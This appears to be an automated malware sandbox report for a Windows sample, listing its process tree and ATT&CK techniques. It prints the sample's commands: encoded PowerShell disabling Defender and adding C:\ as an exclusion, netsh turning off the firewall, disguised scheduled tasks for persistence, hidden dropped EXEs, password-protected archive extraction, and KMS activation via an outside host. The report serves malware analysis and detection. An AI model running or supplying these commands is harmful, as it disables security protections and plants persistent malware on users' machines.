  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAxAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2624
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADAA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADAA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 0
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" netsh advfirewall set allprofiles state off
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of WriteProcessMemory
        
        PID:2600
      - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2772
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcACcA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcACcA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c " schtasks /create /tn "b2e3257a-cecd-4e89-920b-66093141a930" /tr c:\Windows\splwow.exe /sc ONIDLE /i 1 "
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "b2e3257a-cecd-4e89-920b-66093141a930" /tr c:\Windows\splwow.exe /sc ONIDLE /i 1
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +H splwow.exe"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5980
  - - C:\Windows\system32\attrib.exe
      attrib +H splwow.exe
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:3224
- - C:\Windows\splwow.exe
    "C:\Windows\splwow.exe"
    3⤵
    - Executes dropped EXE
    PID:3288
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"' & exit
      4⤵
      Executes a command shell one-liner
      PID:4028
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE9BA.tmp.bat""
      4⤵
      Executes a command shell one-liner
      PID:3840
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:4568
    - - C:\Users\Admin\AppData\Roaming\Defender.exe
        
        "C:\Users\Admin\AppData\Roaming\Defender.exe"
        5⤵
        
        PID:952
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c " schtasks /create /tn "3dfab716-2b55-4fdd-a307-2801c4d17751" /tr c:\Windows\start.exe /sc ONIDLE /i 1 "
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "3dfab716-2b55-4fdd-a307-2801c4d17751" /tr c:\Windows\start.exe /sc ONIDLE /i 1
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +H start.exe"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5912
  - - C:\Windows\system32\attrib.exe
      attrib +H start.exe
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:1988
- - C:\Windows\start.exe
    "C:\Windows\start.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3716
  - - C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
      C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:5840
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX"
    3⤵
    - Executes a command shell one-liner
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Reads the TCP/IP host and domain name from the registry
      PID:1540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /skms s8.uk.to"
    3⤵
    - Executes a command shell one-liner
    - Modifies registry class
    PID:480
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /skms s8.uk.to
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Reads the TCP/IP host and domain name from the registry
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ato"
    3⤵
    - Executes a command shell one-liner
    PID:3060
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ato
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ato"
    3⤵
    - Executes a command shell one-liner
    PID:2864
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ato
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:5164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ato"
    3⤵
    - Executes a command shell one-liner
    PID:2888
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ato
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3436

\??\c:\Windows\splwow.exe
c:\Windows\splwow.exe
1⤵
- Executes dropped EXE
PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  PID:3368
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:800

\??\c:\Windows\start.exe
c:\Windows\start.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2764

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:5776
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:4512
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:2300
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:1812
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:4320
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:800
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:4156
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:720
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:5920
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:1316
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:5480
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:1204

C:\Users\Admin\AppData\Roaming\Defender.exe
"C:\Users\Admin\AppData\Roaming\Defender.exe"
1⤵
PID:3892

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:4940
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:4976

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:3528
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact